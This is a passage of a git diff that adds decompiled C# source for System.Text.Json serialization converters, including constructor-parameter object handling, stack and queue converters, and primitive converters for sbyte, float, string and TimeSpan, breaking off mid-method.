JsonSerializer.ValidateMetadataForObjectConverter(ref state); + } + if (state.Current.MetadataPropertyNames == MetadataPropertyName.Ref) + { + value = JsonSerializer.ResolveReferenceId(ref state); + return true; + } + BeginRead(ref state, options); + state.Current.ObjectState = StackFrameObjectState.ConstructorArguments; + } + if (!ReadConstructorArgumentsWithContinuation(ref state, ref reader, options)) + { + value = default(T); + return false; + } + obj = (T)CreateObject(ref state.Current); + if ((state.Current.MetadataPropertyNames & MetadataPropertyName.Id) != MetadataPropertyName.None) + { + state.ReferenceResolver.AddReference(state.ReferenceId, obj); + state.ReferenceId = null; + } + jsonTypeInfo.OnDeserializing?.Invoke(obj); + if (ctorArgumentState.FoundPropertyCount > 0) + { + for (int j = 0; j < ctorArgumentState.FoundPropertyCount; j++) + { + JsonPropertyInfo item5 = ctorArgumentState.FoundPropertiesAsync[j].Item1; + object item6 = ctorArgumentState.FoundPropertiesAsync[j].Item2; + string item7 = ctorArgumentState.FoundPropertiesAsync[j].Item3; + if (item7 == null) + { + if (item6 != null || !item5.IgnoreNullTokensOnRead || default(T) != null) + { + item5.Set(obj, item6); + state.Current.MarkRequiredPropertyAsRead(item5); + } + continue; + } + JsonSerializer.CreateExtensionDataProperty(obj, item5, options); + object valueAsObject = item5.GetValueAsObject(obj); + if (valueAsObject is IDictionary dictionary) + { + dictionary[item7] = (JsonElement)item6; + } + else + { + ((IDictionary)valueAsObject)[item7] = item6; + } + } + (JsonPropertyInfo, object, string)[] foundPropertiesAsync = ctorArgumentState.FoundPropertiesAsync; + ctorArgumentState.FoundPropertiesAsync = null; + ArrayPool<(JsonPropertyInfo, object, string)>.Shared.Return(foundPropertiesAsync, clearArray: true); + } + } + jsonTypeInfo.OnDeserialized?.Invoke(obj); + state.Current.ValidateAllRequiredPropertiesAreRead(jsonTypeInfo); + value = (T)obj; + if (state.Current.PropertyRefCache != null) + { + state.Current.JsonTypeInfo.UpdateSortedPropertyCache(ref state.Current); + } + if (ctorArgumentState.ParameterRefCache != null) + { + state.Current.JsonTypeInfo.UpdateSortedParameterCache(ref state.Current); + } + state.Current.LargeJsonObjectExtensionDataSerializationState?.Complete(); + return true; + } + + protected abstract void InitializeConstructorArgumentCaches(ref ReadStack state, JsonSerializerOptions options); + + protected abstract bool ReadAndCacheConstructorArgument(scoped ref ReadStack state, ref Utf8JsonReader reader, JsonParameterInfo jsonParameterInfo); + + protected abstract object CreateObject(ref ReadStackFrame frame); + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void ReadConstructorArguments(scoped ref ReadStack state, ref Utf8JsonReader reader, JsonSerializerOptions options) + { + BeginRead(ref state, options); + while (true) + { + reader.ReadWithVerify(); + JsonTokenType tokenType = reader.TokenType; + if (tokenType == JsonTokenType.EndObject) + { + break; + } + if (TryLookupConstructorParameter(ref state, ref reader, options, out var jsonParameterInfo)) + { + reader.ReadWithVerify(); + if (!jsonParameterInfo.ShouldDeserialize) + { + bool flag = reader.TrySkip(); + state.Current.EndConstructorParameter(); + } + else + { + ReadAndCacheConstructorArgument(ref state, ref reader, jsonParameterInfo); + state.Current.EndConstructorParameter(); + } + continue; + } + ReadOnlySpan propertyName = JsonSerializer.GetPropertyName(ref state, ref reader); + bool useExtensionProperty; + JsonPropertyInfo jsonPropertyInfo = JsonSerializer.LookupProperty(null, propertyName, ref state, options, out useExtensionProperty, createExtensionProperty: false); + if (jsonPropertyInfo.CanDeserialize) + { + ArgumentState ctorArgumentState = state.Current.CtorArgumentState; + if (ctorArgumentState.FoundProperties == null) + { + ctorArgumentState.FoundProperties = ArrayPool<(JsonPropertyInfo, JsonReaderState, long, byte[], string)>.Shared.Rent(Math.Max(1, state.Current.JsonTypeInfo.PropertyCache.Count)); + } + else if (ctorArgumentState.FoundPropertyCount == ctorArgumentState.FoundProperties.Length) + { + (JsonPropertyInfo, JsonReaderState, long, byte[], string)[] array = ArrayPool<(JsonPropertyInfo, JsonReaderState, long, byte[], string)>.Shared.Rent(ctorArgumentState.FoundProperties.Length * 2); + ctorArgumentState.FoundProperties.CopyTo(array, 0); + (JsonPropertyInfo, JsonReaderState, long, byte[], string)[] foundProperties = ctorArgumentState.FoundProperties; + ctorArgumentState.FoundProperties = array; + ArrayPool<(JsonPropertyInfo, JsonReaderState, long, byte[], string)>.Shared.Return(foundProperties, clearArray: true); + } + ctorArgumentState.FoundProperties[ctorArgumentState.FoundPropertyCount++] = (jsonPropertyInfo, reader.CurrentState, reader.BytesConsumed, state.Current.JsonPropertyName, state.Current.JsonPropertyNameAsString); + } + bool flag2 = reader.TrySkip(); + state.Current.EndProperty(); + } + } + + private bool ReadConstructorArgumentsWithContinuation(scoped ref ReadStack state, ref Utf8JsonReader reader, JsonSerializerOptions options) + { + while (true) + { + if (state.Current.PropertyState == StackFramePropertyState.None) + { + state.Current.PropertyState = StackFramePropertyState.ReadName; + if (!reader.Read()) + { + return false; + } + } + JsonParameterInfo jsonParameterInfo; + JsonPropertyInfo jsonPropertyInfo; + if ((int)state.Current.PropertyState < 2) + { + state.Current.PropertyState = StackFramePropertyState.Name; + JsonTokenType tokenType = reader.TokenType; + if (tokenType == JsonTokenType.EndObject) + { + return true; + } + if (TryLookupConstructorParameter(ref state, ref reader, options, out jsonParameterInfo)) + { + jsonPropertyInfo = null; + } + else + { + ReadOnlySpan propertyName = JsonSerializer.GetPropertyName(ref state, ref reader); + jsonPropertyInfo = JsonSerializer.LookupProperty(null, propertyName, ref state, options, out var useExtensionProperty, createExtensionProperty: false); + state.Current.UseExtensionProperty = useExtensionProperty; + } + } + else + { + jsonParameterInfo = state.Current.CtorArgumentState.JsonParameterInfo; + jsonPropertyInfo = state.Current.JsonPropertyInfo; + } + if (jsonParameterInfo != null) + { + if (!HandleConstructorArgumentWithContinuation(ref state, ref reader, jsonParameterInfo)) + { + return false; + } + } + else if (!HandlePropertyWithContinuation(ref state, ref reader, jsonPropertyInfo)) + { + break; + } + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private bool HandleConstructorArgumentWithContinuation(scoped ref ReadStack state, ref Utf8JsonReader reader, JsonParameterInfo jsonParameterInfo) + { + if ((int)state.Current.PropertyState < 3) + { + if (!jsonParameterInfo.ShouldDeserialize) + { + if (!reader.TrySkip()) + { + return false; + } + state.Current.EndConstructorParameter(); + return true; + } + state.Current.PropertyState = StackFramePropertyState.ReadValue; + if (!JsonConverter.SingleValueReadWithReadAhead(jsonParameterInfo.EffectiveConverter.RequiresReadAhead, ref reader, ref state)) + { + return false; + } + } + if (!ReadAndCacheConstructorArgument(ref state, ref reader, jsonParameterInfo)) + { + return false; + } + state.Current.EndConstructorParameter(); + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool HandlePropertyWithContinuation(scoped ref ReadStack state, ref Utf8JsonReader reader, JsonPropertyInfo jsonPropertyInfo) + { + if ((int)state.Current.PropertyState < 3) + { + if (!jsonPropertyInfo.CanDeserialize) + { + if (!reader.TrySkip()) + { + return false; + } + state.Current.EndProperty(); + return true; + } + if (!ObjectDefaultConverter.ReadAheadPropertyValue(ref state, ref reader, jsonPropertyInfo)) + { + return false; + } + } + object value; + if (state.Current.UseExtensionProperty) + { + if (!jsonPropertyInfo.ReadJsonExtensionDataValue(ref state, ref reader, out value)) + { + return false; + } + } + else if (!jsonPropertyInfo.ReadJsonAsObject(ref state, ref reader, out value)) + { + return false; + } + ArgumentState ctorArgumentState = state.Current.CtorArgumentState; + if (ctorArgumentState.FoundPropertiesAsync == null) + { + ctorArgumentState.FoundPropertiesAsync = ArrayPool<(JsonPropertyInfo, object, string)>.Shared.Rent(Math.Max(1, state.Current.JsonTypeInfo.PropertyCache.Count)); + } + else if (ctorArgumentState.FoundPropertyCount == ctorArgumentState.FoundPropertiesAsync.Length) + { + (JsonPropertyInfo, object, string)[] array = ArrayPool<(JsonPropertyInfo, object, string)>.Shared.Rent(ctorArgumentState.FoundPropertiesAsync.Length * 2); + ctorArgumentState.FoundPropertiesAsync.CopyTo(array, 0); + (JsonPropertyInfo, object, string)[] foundPropertiesAsync = ctorArgumentState.FoundPropertiesAsync; + ctorArgumentState.FoundPropertiesAsync = array; + ArrayPool<(JsonPropertyInfo, object, string)>.Shared.Return(foundPropertiesAsync, clearArray: true); + } + ctorArgumentState.FoundPropertiesAsync[ctorArgumentState.FoundPropertyCount++] = (jsonPropertyInfo, value, state.Current.JsonPropertyNameAsString); + state.Current.EndProperty(); + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void BeginRead(scoped ref ReadStack state, JsonSerializerOptions options) + { + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + jsonTypeInfo.ValidateCanBeUsedForPropertyMetadataSerialization(); + if (jsonTypeInfo.ParameterCount != jsonTypeInfo.ParameterCache.Count) + { + ThrowHelper.ThrowInvalidOperationException_ConstructorParameterIncompleteBinding(Type); + } + state.Current.InitializeRequiredPropertiesValidationState(jsonTypeInfo); + state.Current.JsonPropertyInfo = null; + InitializeConstructorArgumentCaches(ref state, options); + } + + protected virtual bool TryLookupConstructorParameter(scoped ref ReadStack state, ref Utf8JsonReader reader, JsonSerializerOptions options, out JsonParameterInfo jsonParameterInfo) + { + ReadOnlySpan propertyName = JsonSerializer.GetPropertyName(ref state, ref reader); + jsonParameterInfo = state.Current.JsonTypeInfo.GetParameter(propertyName, ref state.Current, out var utf8PropertyName); + state.Current.CtorArgumentState.ParameterIndex++; + state.Current.JsonPropertyName = utf8PropertyName; + state.Current.CtorArgumentState.JsonParameterInfo = jsonParameterInfo; + state.Current.NumberHandling = jsonParameterInfo?.NumberHandling; + return jsonParameterInfo != null; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/QueueOfTConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/QueueOfTConverter.cs new file mode 100644 index 0000000..48bf5e7 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/QueueOfTConverter.cs @@ -0,0 +1,27 @@ +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class QueueOfTConverter : IEnumerableDefaultConverter where TCollection : Queue +{ + internal override bool CanPopulate => true; + + protected override void Add(in TElement value, ref ReadStack state) + { + ((TCollection)state.Current.ReturnValue).Enqueue(value); + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + JsonPropertyInfo parentProperty = state.ParentProperty; + if (parentProperty == null || !parentProperty.TryGetPrePopulatedValue(ref state)) + { + if (state.Current.JsonTypeInfo.CreateObject == null) + { + ThrowHelper.ThrowNotSupportedException_SerializationNotSupported(state.Current.JsonTypeInfo.Type); + } + state.Current.ReturnValue = state.Current.JsonTypeInfo.CreateObject(); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ReadOnlyMemoryByteConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ReadOnlyMemoryByteConverter.cs new file mode 100644 index 0000000..618201c --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ReadOnlyMemoryByteConverter.cs @@ -0,0 +1,16 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class ReadOnlyMemoryByteConverter : JsonConverter> +{ + public override bool HandleNull => true; + + public override ReadOnlyMemory Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return (reader.TokenType == JsonTokenType.Null) ? null : reader.GetBytesFromBase64(); + } + + public override void Write(Utf8JsonWriter writer, ReadOnlyMemory value, JsonSerializerOptions options) + { + writer.WriteBase64StringValue(value.Span); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ReadOnlyMemoryConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ReadOnlyMemoryConverter.cs new file mode 100644 index 0000000..f255967 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ReadOnlyMemoryConverter.cs @@ -0,0 +1,72 @@ +using System.Collections.Generic; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class ReadOnlyMemoryConverter : JsonCollectionConverter, T> +{ + internal override bool CanHaveMetadata => false; + + public override bool HandleNull => true; + + internal override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out ReadOnlyMemory value) + { + if (reader.TokenType == JsonTokenType.Null) + { + value = default(ReadOnlyMemory); + return true; + } + return base.OnTryRead(ref reader, typeToConvert, options, ref state, out value); + } + + protected override void Add(in T value, ref ReadStack state) + { + ((List)state.Current.ReturnValue).Add(value); + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + state.Current.ReturnValue = new List(); + } + + protected override void ConvertCollection(ref ReadStack state, JsonSerializerOptions options) + { + ReadOnlyMemory readOnlyMemory = ((List)state.Current.ReturnValue).ToArray().AsMemory(); + state.Current.ReturnValue = readOnlyMemory; + } + + protected override bool OnWriteResume(Utf8JsonWriter writer, ReadOnlyMemory value, JsonSerializerOptions options, ref WriteStack state) + { + return OnWriteResume(writer, value.Span, options, ref state); + } + + internal static bool OnWriteResume(Utf8JsonWriter writer, ReadOnlySpan value, JsonSerializerOptions options, ref WriteStack state) + { + int i = state.Current.EnumeratorIndex; + JsonConverter elementConverter = JsonCollectionConverter, T>.GetElementConverter(ref state); + if (elementConverter.CanUseDirectReadOrWrite && !state.Current.NumberHandling.HasValue) + { + for (; i < value.Length; i++) + { + elementConverter.Write(writer, value[i], options); + } + } + else + { + for (; i < value.Length; i++) + { + if (!elementConverter.TryWrite(writer, in value[i], options, ref state)) + { + state.Current.EnumeratorIndex = i; + return false; + } + state.Current.EndCollectionElement(); + if (JsonConverter.ShouldFlush(writer, ref state)) + { + i = (state.Current.EnumeratorIndex = i + 1); + return false; + } + } + } + return true; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/SByteConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/SByteConverter.cs new file mode 100644 index 0000000..176dd84 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/SByteConverter.cs @@ -0,0 +1,50 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class SByteConverter : JsonPrimitiveConverter +{ + public SByteConverter() + { + base.IsInternalConverterForNumberType = true; + } + + public override sbyte Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetSByte(); + } + + public override void Write(Utf8JsonWriter writer, sbyte value, JsonSerializerOptions options) + { + writer.WriteNumberValue(value); + } + + internal override sbyte ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetSByteWithQuotes(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, sbyte value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } + + internal override sbyte ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.String && (JsonNumberHandling.AllowReadingFromString & handling) != JsonNumberHandling.Strict) + { + return reader.GetSByteWithQuotes(); + } + return reader.GetSByte(); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, sbyte value, JsonNumberHandling handling) + { + if ((JsonNumberHandling.WriteAsString & handling) != JsonNumberHandling.Strict) + { + writer.WriteNumberValueAsString(value); + } + else + { + writer.WriteNumberValue(value); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/SingleConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/SingleConverter.cs new file mode 100644 index 0000000..b7d1f73 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/SingleConverter.cs @@ -0,0 +1,61 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class SingleConverter : JsonPrimitiveConverter +{ + public SingleConverter() + { + base.IsInternalConverterForNumberType = true; + } + + public override float Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetSingle(); + } + + public override void Write(Utf8JsonWriter writer, float value, JsonSerializerOptions options) + { + writer.WriteNumberValue(value); + } + + internal override float ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetSingleWithQuotes(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, float value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } + + internal override float ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.String) + { + if ((JsonNumberHandling.AllowReadingFromString & handling) != JsonNumberHandling.Strict) + { + return reader.GetSingleWithQuotes(); + } + if ((JsonNumberHandling.AllowNamedFloatingPointLiterals & handling) != JsonNumberHandling.Strict) + { + return reader.GetSingleFloatingPointConstant(); + } + } + return reader.GetSingle(); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, float value, JsonNumberHandling handling) + { + if ((JsonNumberHandling.WriteAsString & handling) != JsonNumberHandling.Strict) + { + writer.WriteNumberValueAsString(value); + } + else if ((JsonNumberHandling.AllowNamedFloatingPointLiterals & handling) != JsonNumberHandling.Strict) + { + writer.WriteFloatingPointConstant(value); + } + else + { + writer.WriteNumberValue(value); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/SlimObjectConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/SlimObjectConverter.cs new file mode 100644 index 0000000..0fabdd2 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/SlimObjectConverter.cs @@ -0,0 +1,19 @@ +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class SlimObjectConverter : ObjectConverter +{ + private readonly IJsonTypeInfoResolver _originatingResolver; + + public SlimObjectConverter(IJsonTypeInfoResolver originatingResolver) + { + _originatingResolver = originatingResolver; + } + + public override object Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + ThrowHelper.ThrowNotSupportedException_NoMetadataForType(typeToConvert, _originatingResolver); + return null; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/SmallObjectWithParameterizedConstructorConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/SmallObjectWithParameterizedConstructorConverter.cs new file mode 100644 index 0000000..329ed01 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/SmallObjectWithParameterizedConstructorConverter.cs @@ -0,0 +1,78 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class SmallObjectWithParameterizedConstructorConverter : ObjectWithParameterizedConstructorConverter +{ + protected override object CreateObject(ref ReadStackFrame frame) + { + JsonTypeInfo.ParameterizedConstructorDelegate parameterizedConstructorDelegate = (JsonTypeInfo.ParameterizedConstructorDelegate)frame.JsonTypeInfo.CreateObjectWithArgs; + Arguments arguments = (Arguments)frame.CtorArgumentState.Arguments; + return parameterizedConstructorDelegate(arguments.Arg0, arguments.Arg1, arguments.Arg2, arguments.Arg3); + } + + protected override bool ReadAndCacheConstructorArgument(scoped ref ReadStack state, ref Utf8JsonReader reader, JsonParameterInfo jsonParameterInfo) + { + Arguments arguments = (Arguments)state.Current.CtorArgumentState.Arguments; + return jsonParameterInfo.Position switch + { + 0 => TryRead(ref state, ref reader, jsonParameterInfo, out arguments.Arg0), + 1 => TryRead(ref state, ref reader, jsonParameterInfo, out arguments.Arg1), + 2 => TryRead(ref state, ref reader, jsonParameterInfo, out arguments.Arg2), + 3 => TryRead(ref state, ref reader, jsonParameterInfo, out arguments.Arg3), + _ => throw new InvalidOperationException(), + }; + } + + private static bool TryRead(scoped ref ReadStack state, ref Utf8JsonReader reader, JsonParameterInfo jsonParameterInfo, out TArg arg) + { + JsonParameterInfo jsonParameterInfo2 = (JsonParameterInfo)jsonParameterInfo; + TArg value; + bool isPopulatedValue; + bool flag = jsonParameterInfo2.EffectiveConverter.TryRead(ref reader, jsonParameterInfo2.ParameterType, jsonParameterInfo2.Options, ref state, out value, out isPopulatedValue); + arg = ((value == null && jsonParameterInfo.IgnoreNullTokensOnRead) ? jsonParameterInfo2.DefaultValue : value); + if (flag) + { + state.Current.MarkRequiredPropertyAsRead(jsonParameterInfo.MatchingProperty); + } + return flag; + } + + protected override void InitializeConstructorArgumentCaches(ref ReadStack state, JsonSerializerOptions options) + { + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + Arguments arguments = new Arguments(); + List> list = jsonTypeInfo.ParameterCache.List; + for (int i = 0; i < jsonTypeInfo.ParameterCount; i++) + { + JsonParameterInfo value = list[i].Value; + switch (value.Position) + { + case 0: + arguments.Arg0 = ((JsonParameterInfo)value).DefaultValue; + break; + case 1: + arguments.Arg1 = ((JsonParameterInfo)value).DefaultValue; + break; + case 2: + arguments.Arg2 = ((JsonParameterInfo)value).DefaultValue; + break; + case 3: + arguments.Arg3 = ((JsonParameterInfo)value).DefaultValue; + break; + default: + throw new InvalidOperationException(); + } + } + state.Current.CtorArgumentState.Arguments = arguments; + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + internal override void ConfigureJsonTypeInfoUsingReflection(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + jsonTypeInfo.CreateObjectWithArgs = DefaultJsonTypeInfoResolver.MemberAccessor.CreateParameterizedConstructor(base.ConstructorInfo); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/StackOfTConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/StackOfTConverter.cs new file mode 100644 index 0000000..3a62971 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/StackOfTConverter.cs @@ -0,0 +1,27 @@ +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class StackOfTConverter : IEnumerableDefaultConverter where TCollection : Stack +{ + internal override bool CanPopulate => true; + + protected override void Add(in TElement value, ref ReadStack state) + { + ((TCollection)state.Current.ReturnValue).Push(value); + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + JsonPropertyInfo parentProperty = state.ParentProperty; + if (parentProperty == null || !parentProperty.TryGetPrePopulatedValue(ref state)) + { + if (state.Current.JsonTypeInfo.CreateObject == null) + { + ThrowHelper.ThrowNotSupportedException_SerializationNotSupported(state.Current.JsonTypeInfo.Type); + } + state.Current.ReturnValue = state.Current.JsonTypeInfo.CreateObject(); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/StackOrQueueConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/StackOrQueueConverter.cs new file mode 100644 index 0000000..6603bc5 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/StackOrQueueConverter.cs @@ -0,0 +1,64 @@ +using System.Collections; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal class StackOrQueueConverter : JsonCollectionConverter where TCollection : IEnumerable +{ + internal override bool CanPopulate => true; + + protected sealed override void Add(in object value, ref ReadStack state) + { + Action action = (Action)state.Current.JsonTypeInfo.AddMethodDelegate; + action((TCollection)state.Current.ReturnValue, value); + } + + protected sealed override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + JsonPropertyInfo parentProperty = state.ParentProperty; + if (parentProperty == null || !parentProperty.TryGetPrePopulatedValue(ref state)) + { + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + Func createObject = jsonTypeInfo.CreateObject; + if (createObject == null) + { + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + state.Current.ReturnValue = createObject(); + } + } + + protected sealed override bool OnWriteResume(Utf8JsonWriter writer, TCollection value, JsonSerializerOptions options, ref WriteStack state) + { + IEnumerator enumerator; + if (state.Current.CollectionEnumerator == null) + { + enumerator = value.GetEnumerator(); + if (!enumerator.MoveNext()) + { + return true; + } + } + else + { + enumerator = state.Current.CollectionEnumerator; + } + JsonConverter elementConverter = JsonCollectionConverter.GetElementConverter(ref state); + do + { + if (JsonConverter.ShouldFlush(writer, ref state)) + { + state.Current.CollectionEnumerator = enumerator; + return false; + } + if (!elementConverter.TryWrite(writer, enumerator.Current, options, ref state)) + { + state.Current.CollectionEnumerator = enumerator; + return false; + } + state.Current.EndCollectionElement(); + } + while (enumerator.MoveNext()); + return true; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/StackOrQueueConverterWithReflection.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/StackOrQueueConverterWithReflection.cs new file mode 100644 index 0000000..4f81a87 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/StackOrQueueConverterWithReflection.cs @@ -0,0 +1,21 @@ +using System.Collections; +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class StackOrQueueConverterWithReflection : StackOrQueueConverter where TCollection : IEnumerable +{ + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public StackOrQueueConverterWithReflection() + { + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + internal override void ConfigureJsonTypeInfoUsingReflection(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + jsonTypeInfo.AddMethodDelegate = DefaultJsonTypeInfoResolver.MemberAccessor.CreateAddMethodDelegate(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/StringConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/StringConverter.cs new file mode 100644 index 0000000..72cab2d --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/StringConverter.cs @@ -0,0 +1,43 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class StringConverter : JsonPrimitiveConverter +{ + public override string Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetString(); + } + + public override void Write(Utf8JsonWriter writer, string value, JsonSerializerOptions options) + { + if (value == null) + { + writer.WriteNullValue(); + } + else + { + writer.WriteStringValue(value.AsSpan()); + } + } + + internal override string ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetString(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, string value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + if (value == null) + { + ThrowHelper.ThrowArgumentNullException("value"); + } + if (options.DictionaryKeyPolicy != null && !isWritingExtensionDataProperty) + { + value = options.DictionaryKeyPolicy.ConvertName(value); + if (value == null) + { + ThrowHelper.ThrowInvalidOperationException_NamingPolicyReturnNull(options.DictionaryKeyPolicy); + } + } + writer.WritePropertyName(value); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/TimeSpanConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/TimeSpanConverter.cs new file mode 100644 index 0000000..de36619 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/TimeSpanConverter.cs @@ -0,0 +1,70 @@ +using System.Buffers.Text; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class TimeSpanConverter : JsonPrimitiveConverter +{ + private const int MinimumTimeSpanFormatLength = 8; + + private const int MaximumTimeSpanFormatLength = 26; + + private const int MaximumEscapedTimeSpanFormatLength = 156; + + public override TimeSpan Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (reader.TokenType != JsonTokenType.String) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedString(reader.TokenType); + } + return ReadCore(ref reader); + } + + internal override TimeSpan ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return ReadCore(ref reader); + } + + private static TimeSpan ReadCore(ref Utf8JsonReader reader) + { + if (!JsonHelpers.IsInRangeInclusive(reader.ValueLength, 8, 156)) + { + ThrowHelper.ThrowFormatException(DataType.TimeSpan); + } + ReadOnlySpan source; + if (!reader.HasValueSequence && !reader.ValueIsEscaped) + { + source = reader.ValueSpan; + } + else + { + Span utf8Destination = stackalloc byte[156]; + source = 